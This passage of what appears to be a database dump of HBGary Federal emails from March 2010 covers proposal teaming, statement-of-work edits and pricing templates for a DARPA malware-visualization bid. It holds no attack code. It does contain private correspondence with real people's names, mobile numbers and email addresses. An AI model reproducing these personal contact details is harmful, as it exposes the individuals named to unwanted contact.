AM\r\n> To: Brianne O\'Brien\r\n> Subject: SOW\r\n> \r\n> Brianne,\r\n> \r\n> You have already submitted to us a SOW response broken down by the 4\r\n> years.  For the purposes of developing material for the proposal I\r\n> wanted to provide some more specifics on development requirements.\r\n> Please see the attached SOW, reply back with any changes you suggest.\r\n> At some point today you will receive from Ted a new NDA, Teaming\r\n> agreement, pricing template, and copy of SOW with any agreed changes\r\nfor\r\n> your records.  Based on the SOW we need to get a price and scheduling\r\n> sheet by 12pm tomorrow so we can get everything together and priced.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16484,'aaron_hbgary_com/16484.html'),(3740,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001899.M77450P3547Q3737.eml','\"Martin Pillion\" <martin@hbgary.com>','Fwd: SoW update w/ Task Descriptions','Martin,\r\n\r\nIf you could quickly take a look at this and tell me which tasks you think are valuable in our approach that would be helpful.  Team building to win these is somewhat of science (albeit an easy science).  To win DARPA contract you want a DARPA darling (someone who is known by darpa and has a lot of success winning darpa work, so we have secure decisions for visualization.  You also want some operational relevance (GD), and a research organization or university, hence SRI.  All that is to say I need them to do something, and I liked the trigger analysis stuff.  Anything else helpful in your mind?\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Vinod Yegneswaran \r\n> Date: March 8, 2010 5:18:56 PM EST\r\n> To: aaron@hbgary.com\r\n> Cc: Phil Porras , Ted Vera , Hassen Saidi , Bob Slapnik \r\n> Subject: Re: SoW update w/ Task Descriptions\r\n> \r\n> Hi Aaron,\r\n> \r\n> We have made some minor mods, please use the attached updated version of SoW.\r\n> \r\n> -vinod\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2817,'aaron_hbgary_com/2817.html'),(3741,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001899.M840141P3547Q3741.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','Re: SOW','Great that is the same page thanks.\r\n\r\nAaron\r\n\r\nOn Mar 8, 2010, at 6:50 PM, Brianne O\'Brien wrote:\r\n\r\n> Aaron -\r\n> \r\n> I think we\'re speaking the same language - The first half of the project\r\n> (yrs 1 & 2) addresses the development of visualizations to support\r\n> malware analysis.  The second half of the project (yrs 3 & 4), per the\r\n> SOW we generated, addresses the development of interactive\r\n> visualizations to assist in collaboration, filtering, etc that will\r\n> allow analysts to build visual relationships and add analytical\r\n> information in a visually compelling way.  Perhaps the SOW tasks we\r\n> developed didn\'t adequately distinguish that... as the key difference\r\n> deals with the interactive features that are envisioned.\r\n> \r\n> If we\'re all on the same page, that\'s fine.  We can expand upon each of\r\n> those tasks within the technical approach.\r\n> \r\n> Brianne \r\n> \r\n> Brianne F. O\'Brien\r\n> (631) 754-4920 x150\r\n> (516) 702-7703 (cell)\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 08, 2010 4:40 PM\r\n> To: Brianne O\'Brien\r\n> Cc: Ted Vera\r\n> Subject: Re: SOW\r\n> \r\n> Brianne,\r\n> \r\n> That is fine for the location.  I think for the most part we will work\r\n> virtually, unless specifically needed.\r\n> \r\n> On the SOW we can set up a call to discuss if that would be preferred.\r\n> After refining the approach here is what I see.  I think your tasks 1-6\r\n> for phase 1 are just an expansion of detail of what my first listed task\r\n> is, which is fine I think.  For Phase II it appears to be mostly a\r\n> repeat of phase 1 but I may be missing something.  What I would like to\r\n> see in Phase II is once we understand how to visually represent malware\r\n> functions and behavior I would like to work from the other direction and\r\n> figure out how to visually represent malware overall functionality and\r\n> behaviors in whole and try to identify behaviors, functions, patterns,\r\n> and possibly intent.\r\n> \r\n> Aaron\r\n> 719.510.8478\r\n> \r\n> \r\n> On Mar 8, 2010, at 3:52 PM, Brianne O\'Brien wrote:\r\n> \r\n>> Aaron -\r\n>> \r\n>> We reviewed the SOW that you provided and have a few comments\r\n> regarding\r\n>> certain items -\r\n>> \r\n>> Item 2f - This indicates that our physical presence may be required in\r\n>> HBGary\'s facilities in order to produce the proposal.  We are\r\n> available\r\n>> on demand, however I don\'t think we want to commit to a being\r\n> physically\r\n>> on premises.  Can that part be amended?\r\n>> \r\n>> Under Subcontractor post award roles and responsibilities, there are\r\n>> only two brief bullets describing the nature of our contribution.  We\r\n>> had elaborated on the tasking in the SOW that we sent to you last week\r\n>> and provided greater clarity to our developmental activities.  Can\r\n> those\r\n>> SOW items be leveraged to expand the post award roles and\r\n>> responsibilities?\r\n>> \r\n>> Please advise when you get the chance.\r\n>> \r\n>> Thanks & Regards,\r\n>> Brianne\r\n>> \r\n>> Brianne F. O\'Brien\r\n>> (631) 754-4920 x150\r\n>> (516) 702-7703 (cell)\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, March 08, 2010 10:37 AM\r\n>> To: Brianne O\'Brien\r\n>> Subject: SOW\r\n>> \r\n>> Brianne,\r\n>> \r\n>> You have already submitted to us a SOW response broken down by the 4\r\n>> years.  For the purposes of developing material for the proposal I\r\n>> wanted to provide some more specifics on development requirements.\r\n>> Please see the attached SOW, reply back with any changes you suggest.\r\n>> At some point today you will receive from Ted a new NDA, Teaming\r\n>> agreement, pricing template, and copy of SOW with any agreed changes\r\n> for\r\n>> your records.  Based on the SOW we need to get a price and scheduling\r\n>> sheet by 12pm tomorrow so we can get everything together and priced.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2919,'aaron_hbgary_com/2919.html'),(3742,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001900.M507931P3547Q3742.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SOW','Begin forwarded message:From: \"Brianne O\'Brien\" &lt;brianneo@securedecisions.avi.com&gt;Date: March 8, 2010 6:50:43 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: SOWAaron -I think we\'re speaking the same language - The first half of the project(yrs 1 &amp; 2) addresses the development of visualizations to supportmalware analysis. &nbsp;The second half of the project (yrs 3 &amp; 4), per theSOW we generated, addresses the development of interactivevisualizations to assist in collaboration, filtering, etc that willallow analysts to build visual relationships and add analyticalinformation in a visually compelling way. &nbsp;Perhaps the SOW tasks wedeveloped didn\'t adequately distinguish that... as the key differencedeals with the interactive features that are envisioned.If we\'re all on the same page, that\'s fine. &nbsp;We can expand upon each ofthose tasks within the technical approach.Brianne Brianne F. O\'Brien(631) 754-4920 x150(516) 702-7703 (cell)-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, March 08, 2010 4:40 PMTo: Brianne O\'BrienCc: Ted VeraSubject: Re: SOWBrianne,That is fine for the location. &nbsp;I think for the most part we will workvirtually, unless specifically needed.On the SOW we can set up a call to discuss if that would be preferred.After refining the approach here is what I see. &nbsp;I think your tasks 1-6for phase 1 are just an expansion of detail of what my first listed taskis, which is fine I think. &nbsp;For Phase II it appears to be mostly arepeat of phase 1 but I may be missing something. &nbsp;What I would like tosee in Phase II is once we understand how to visually represent malwarefunctions and behavior I would like to work from the other direction andfigure out how to visually represent malware overall functionality andbehaviors in whole and try to identify behaviors, functions, patterns,and possibly intent.Aaron719.510.8478On Mar 8, 2010, at 3:52 PM, Brianne O\'Brien wrote:Aaron -We reviewed the SOW that you provided and have a few commentsregardingcertain items -Item 2f - This indicates that our physical presence may be required inHBGary\'s facilities in order to produce the proposal. &nbsp;We areavailableon demand, however I don\'t think we want to commit to a beingphysicallyon premises. &nbsp;Can that part be amended?Under Subcontractor post award roles and responsibilities, there areonly two brief bullets describing the nature of our contribution. &nbsp;Wehad elaborated on the tasking in the SOW that we sent to you last weekand provided greater clarity to our developmental activities. &nbsp;CanthoseSOW items be leveraged to expand the post award roles andresponsibilities?Please advise when you get the chance.Thanks &amp; Regards,BrianneBrianne F. O\'Brien(631) 754-4920 x150(516) 702-7703 (cell)-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, March 08, 2010 10:37 AMTo: Brianne O\'BrienSubject: SOWBrianne,You have already submitted to us a SOW response broken down by the 4years. &nbsp;For the purposes of developing material for the proposal Iwanted to provide some more specifics on development requirements.Please see the attached SOW, reply back with any changes you suggest.At some point today you will receive from Ted a new NDA, Teamingagreement, pricing template, and copy of SOW with any agreed changesforyour records. &nbsp;Based on the SOW we need to get a price and schedulingsheet by 12pm tomorrow so we can get everything together and priced.Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5797,'aaron_hbgary_com/5797.html'),(3743,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001900.M690813P3547Q3743.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Master SOW','Chris,\r\n\r\nCan you send to us your working master SOW?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4383,'aaron_hbgary_com/4383.html'),(3744,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001900.M871953P3547Q3744.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Out of Office AutoReply: Teaming Agreement and updated NDA','Do you have an alt POC for secure decisions?\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Anita D\'Amico \r\nDate: Mon, Mar 8, 2010 at 9:57 AM\r\nSubject: Out of Office AutoReply: Teaming Agreement and updated NDA\r\nTo: Ted Vera \r\n\r\n\r\nThis is an automated message.\r\nI am out of the office until March 9, checking email once a day. If\r\nyou have urgent business, please email CathyE@avi.com or\r\nBrianneO@SecureDecisions.avi.com or call 631-754-4920 ext. 1581.\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6335,'aaron_hbgary_com/6335.html'),(3745,'2010-03-09','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001901.M318162P3547Q3746.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','RE: HBGary Pricing Question','\r\n\r\n\r\n\r\n\r\nRE: HBGary Pricing Question\r\n\r\n\r\n\r\n\r\nAaron, see below.&nbsp; It turns out we cannot directly price your TA#3 proposal, but we are able to send you send our updated pricing templates.&nbsp; Is this ok?\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Vela, Ryan\r\nSent: Monday, March 08, 2010 6:35 PM\r\nTo: Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: RE: HBGary Pricing Question\r\n\r\n\r\n\r\nWe are providing them updated RFP Attachment 9 Subcontractor Pricing templates. \r\n\r\n\r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile: 832-429-4919\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Brunelli, Rex\r\nSent: Monday, March 08, 2010 6:17 PM\r\nTo: Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: HBGary Pricing Question\r\n\r\n\r\n\r\nGreetings;\r\n\r\nThere is not a way for us GD to price a subs proposal.&nbsp; \r\n\r\nV/R\r\n\r\nRex\r\n\r\n\r\n\r\n\r\n',3129,'aaron_hbgary_com/3129.html'),(3746,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001901.M44199P3547Q3745.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Out of Office AutoReply: Teaming Agreement and updated NDA','Brianne O\'Brien \r\n\r\n\r\nOn Mar 8, 2010, at 7:09 PM, Ted Vera wrote:\r\n\r\n> Do you have an alt POC for secure decisions?\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: Anita D\'Amico \r\n> Date: Mon, Mar 8, 2010 at 9:57 AM\r\n> Subject: Out of Office AutoReply: Teaming Agreement and updated NDA\r\n> To: Ted Vera \r\n> \r\n> \r\n> This is an automated message.\r\n> I am out of the office until March 9, checking email once a day. If\r\n> you have urgent business, please email CathyE@avi.com or\r\n> BrianneO@SecureDecisions.avi.com or call 631-754-4920 ext. 1581.\r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7480,'aaron_hbgary_com/7480.html'),(3747,'2010-03-09','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001901.M507585P3547Q3747.eml','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,','Request from HBGary: Master SOW','Ryan,\r\n\r\nCan you send the current state of the Milestones to me and Aaron Barr?\r\nFor some reason, I have had to request access to Sharepoint again.\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 7:08 PM\r\nTo: Starr, Christopher H.\r\nCc: Ted Vera\r\nSubject: Master SOW\r\n\r\nChris,\r\n\r\nCan you send to us your working master SOW?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2849,'aaron_hbgary_com/2849.html'),(3748,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001901.M806396P3547Q3748.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: HBGary Pricing Question','That should work. &nbsp;The templates have been very helpul and as I mentioned it on the phone it sounded weird when said aloud.Ted, so there is prep time to investigate, are there other things that we might need assistance with or are we good?AaronOn Mar 8, 2010, at 7:13 PM, Starr, Christopher H. wrote:\r\n\r\nAaron, see below.&nbsp; It turns out we cannot directly price your TA#3 proposal, but we are able to send you send our updated pricing templates.&nbsp; Is this ok?_____________________________________________\r\nFrom: Vela, Ryan\r\nSent: Monday, March 08, 2010 6:35 PM\r\nTo: Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: RE: HBGary Pricing QuestionWe are providing them updated RFP Attachment 9 Subcontractor Pricing templates. Ryan Vela\r\nLead Cyber Security Forensic ExaminerCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841Mobile: 832-429-4919\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message._____________________________________________\r\nFrom: Brunelli, Rex\r\nSent: Monday, March 08, 2010 6:17 PM\r\nTo: Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: HBGary Pricing QuestionGreetings;There is not a way for us GD to price a subs proposal.&nbsp; V/RRex\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8335,'aaron_hbgary_com/8335.html'),(3749,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001901.M990139P3547Q3749.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: Request from HBGary: Master SOW','its malware wanting you to re-authenticate so it can grab your password. :)\r\n\r\n\r\nOn Mar 8, 2010, at 7:15 PM, Starr, Christopher H. wrote:\r\n\r\n> Ryan,\r\n> \r\n> Can you send the current state of the Milestones to me and Aaron Barr?\r\n> For some reason, I have had to request access to Sharepoint again.\r\n> \r\n> Chris\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 08, 2010 7:08 PM\r\n> To: Starr, Christopher H.\r\n> Cc: Ted Vera\r\n> Subject: Master SOW\r\n> \r\n> Chris,\r\n> \r\n> Can you send to us your working master SOW?\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4350,'aaron_hbgary_com/4350.html'),(3750,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001902.M186850P3547Q3750.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Pricing Question','Crap.\r\n\r\nI\'ll fill out the propricer eval form and get a license.\r\n\r\nTed\r\n\r\n\r\nOn Mon, Mar 8, 2010 at 5:22 PM, Aaron Barr  wrote:\r\n> That should work.  The templates have been very helpul and as I mentioned it\r\n> on the phone it sounded weird when said aloud.\r\n> Ted, so there is prep time to investigate, are there other things that we\r\n> might need assistance with or are we good?\r\n> Aaron\r\n> On Mar 8, 2010, at 7:13 PM, Starr, Christopher H. wrote:\r\n>\r\n> Aaron, see below.  It turns out we cannot directly price your TA#3 proposal,\r\n> but we are able to send you send our updated pricing templates.  Is this ok?\r\n>\r\n> _____________________________________________\r\n> From: Vela, Ryan\r\n> Sent: Monday, March 08, 2010 6:35 PM\r\n> To: Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.\r\n> Cc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\n> Subject: RE: HBGary Pricing Question\r\n>\r\n> We are providing them updated RFP Attachment 9 Subcontractor Pricing\r\n> templates.\r\n>\r\n> Ryan Vela\r\n> Lead Cyber Security Forensic Examiner\r\n>\r\n> Cyber Protection and Digital Forensics\r\n> General Dynamics Advanced Information Systems\r\n> 2721 Technology Drive, Suite 300\r\n> Annapolis Junction, MD 20701\r\n> Office: 240-456-5841\r\n>\r\n> Mobile: 832-429-4919\r\n>\r\n> This email message is for the sole use of the intended recipient(s) and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply email and destroy all copies\r\n> of the original message.\r\n>\r\n> _____________________________________________\r\n> From: Brunelli, Rex\r\n> Sent: Monday, March 08, 2010 6:17 PM\r\n> To: Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.\r\n> Cc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\n> Subject: HBGary Pricing Question\r\n>\r\n> Greetings;\r\n>\r\n> There is not a way for us GD to price a subs proposal.\r\n>\r\n> V/R\r\n>\r\n> Rex\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',14952,'aaron_hbgary_com/14952.html'),(3751,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001903.M848973P3547Q3751.eml','\"Brian C Burmeister\" <bburmeister@propricer.com>','Re: Reference ProPricer','Brian,\r\n\r\nAttached is the signed license agreement.  To be honest, I think the\r\nStandard Edition cost is out of reach for us at this time, so I\'d\r\nprefer to try Personal Edition to see if it can meet our needs.\r\n\r\nThanks for your help,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 2, 2010 at 6:50 AM, Brian C Burmeister\r\n wrote:\r\n> Ted,\r\n>\r\n> It is a fully functional version. We encourage you to work proposals, note\r\n> that Personal Edition has limited reporting and will not generate formula\r\n> rich excel documents, that is our Standard Edition. Call me sometime today\r\n> and we can go over the features you require and I can help determine which\r\n> is a best fit for your needs.\r\n>\r\n> Warm Regards,\r\n>\r\n> Brian C Burmeister\r\n> ProPricer \"Industry Proven\" Proposal Pricing Software\r\n> Office: 704-367-3402     |     Fax: 704-367-2578     |     Mobile:\r\n> 703-665-0443\r\n>\r\n> ------------>8-------------------------------------------8 NOTE: Your email sent to me may not be responded to immediately.\r\n> During the work week, I do my best to respond within 24 hours,\r\n> however I only check my inbox a few hours of the day.\r\n> If immediate attention requested, please phone.\r\n> ------------>8-------------------------------------------8\r\n>\r\n> On Mon, Mar 1, 2010 at 11:00 PM, Ted Vera  wrote:\r\n>>\r\n>> Hi Brian,\r\n>>\r\n>> The agreement states that this is a full version of the software.  We\r\n>> have an upcoming proposal that I believe could benefit from the\r\n>> features of ProPricer.  Can I use ProPricer during the eval period to\r\n>> generate / print actual pdf and excel cost proposals?  Are there any\r\n>> watermarks or file export restrictions that would require me to also\r\n>> do the pricing using our current tools?\r\n>>\r\n>> Thanks,\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Mon, Feb 22, 2010 at 2:59 PM, Brian C Burmeister\r\n>>  wrote:\r\n>> > Good Afternoon Ted,\r\n>> >\r\n>> > Thank you for your time today. I believe you will find ProPricer to be\r\n>> > an\r\n>> > excellent solution for your pricing needs, it has constantly been\r\n>> > improved\r\n>> > during the past 22 years by our customers at our Annual User\'s\r\n>> > Conference.\r\n>> > At the AUC, customers voice their opinions on how to enhance ProPricer\r\n>> > and\r\n>> > all attendees \"vote\" on the feature changes they like the most, the\r\n>> > changes\r\n>> > that get the most votes move to the top of the development list.\r\n>> > ProPricer\r\n>> > represents the collective wisdom of all the top Federal Government\r\n>> > contractors in the U.S. today for the best approach to pricing a\r\n>> > response to\r\n>> > a government RFP.\r\n>> >\r\n>> > The only prospects that do not move forward with a ProPricer purchase\r\n>> > are\r\n>> > the ones that try to force fit the ProPricer method around how they\r\n>> > currently operate.  They do not look at their present methods and ask\r\n>> > \"is\r\n>> > this the best way to accomplish our pricing goals?\", instead, they cling\r\n>> > steadfastly to their present operating methods that a no COST product\r\n>> > can\r\n>> > achieve.  They eventually decide to develop their own in-house tool only\r\n>> > to\r\n>> > discover after considerable cost and effort that the mission was\r\n>> > substantially more than they expected.  We frequently get return\r\n>> > inquiries\r\n>> > in these cases.\r\n>> >\r\n>> > What would be most useful to your group is a hands-on evaluation of\r\n>> > ProPricer.  We have a process to move this evaluation forward and it\r\n>> > follows\r\n>> > a step by step plan that ensures we have a good fit at each step before\r\n>> > taking the next step.  That way, your investment in time and effort in\r\n>> > investigating our product is minimized and we can stop at any point in\r\n>> > the\r\n>> > process where either of us feels the investigation will not lead to a\r\n>> > positive conclusion.\r\n>> >\r\n>> > I will follow up with you as agreed in 2 weeks, my Outlook card is\r\n>> > attached\r\n>> > to this message with all my contact data, if you would like to discuss\r\n>> > ProPricer Evaluation sooner please call me.\r\n>> >\r\n>> >\r\n>> > Warm Regards,\r\n>> >\r\n>> > Brian C Burmeister\r\n>> > Executive Business Services, Inc.\r\n>> > ProPricer \"Industry Proven\" pricing software\r\n>> > bburmeister@propricer.com\r\n>> > Office: 704-367-3402\r\n>> > Fax: 704-367-2578\r\n>> > Mobile: 703-665-0443\r\n>> >\r\n>> > ------------>8-------------------------------------------8> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8087,'aaron_hbgary_com/8087.html'),(3752,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001908.M615020P3547Q3752.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: HBGary Pricing Question','Chris,Not sure if I am reading Ryans email below correctly, either way is it possible to get the master lead sheet (excel) that the sub lead sheets roll up to..if we can get that I think we will be good. &nbsp;We are getting a license to pro pricer now.Thanks,AaronOn Mar 8, 2010, at 7:13 PM, Starr, Christopher H. wrote:\r\n\r\nAaron, see below.&nbsp; It turns out we cannot directly price your TA#3 proposal, but we are able to send you send our updated pricing templates.&nbsp; Is this ok?_____________________________________________\r\nFrom: Vela, Ryan\r\nSent: Monday, March 08, 2010 6:35 PM\r\nTo: Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: RE: HBGary Pricing QuestionWe are providing them updated RFP Attachment 9 Subcontractor Pricing templates. Ryan Vela\r\nLead Cyber Security Forensic ExaminerCyber Protection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841Mobile: 832-429-4919\r\n\r\nThis email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message._____________________________________________\r\nFrom: Brunelli, Rex\r\nSent: Monday, March 08, 2010 6:17 PM\r\nTo: Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: HBGary Pricing QuestionGreetings;There is not a way for us GD to price a subs proposal.&nbsp; V/RRex\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15059,'aaron_hbgary_com/15059.html'),(3753,'2010-03-09','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001908.M969249P3547Q3753.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Pricing Question','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRyan,\r\n\r\n&nbsp;\r\n\r\nCan you answer this from HBGary?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 7:52 PM\r\nTo: Starr, Christopher H.\r\nSubject: Re: HBGary Pricing Question\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNot sure if I am reading Ryans email below correctly, either\r\nway is it possible to get the master lead sheet (excel) that the sub lead\r\nsheets roll up to..if we can get that I think we will be good. &nbsp;We are\r\ngetting a license to pro pricer now.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 8, 2010, at 7:13 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nsee below.&nbsp;\r\nIt turns out we\r\ncannot directly price your TA#3 proposal, but we are able to send you send our updated pricing templates.&nbsp; Is this ok?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Vela, Ryan\r\nSent: Monday, March 08, 2010 6:35 PM\r\nTo: Starr, Christopher H.; Brunelli, Rex; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, Errin L.\r\nSubject: RE: HBGary Pricing Question\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe are\r\nproviding them updated RFP Attachment 9 Subcontractor Pricing templates. \r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber\r\nProtection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile:\r\n832-429-4919\r\n\r\nThis\r\nemail message is for the sole use of the intended recipient(s) and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply email and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Brunelli, Rex\r\nSent: Monday, March 08, 2010 6:17 PM\r\nTo: Starr, Christopher H.; Vela, Ryan; Harlow, Douglas M.\r\nCc: Harris, Allison M.; Wenthold, Russell L.; Autry, 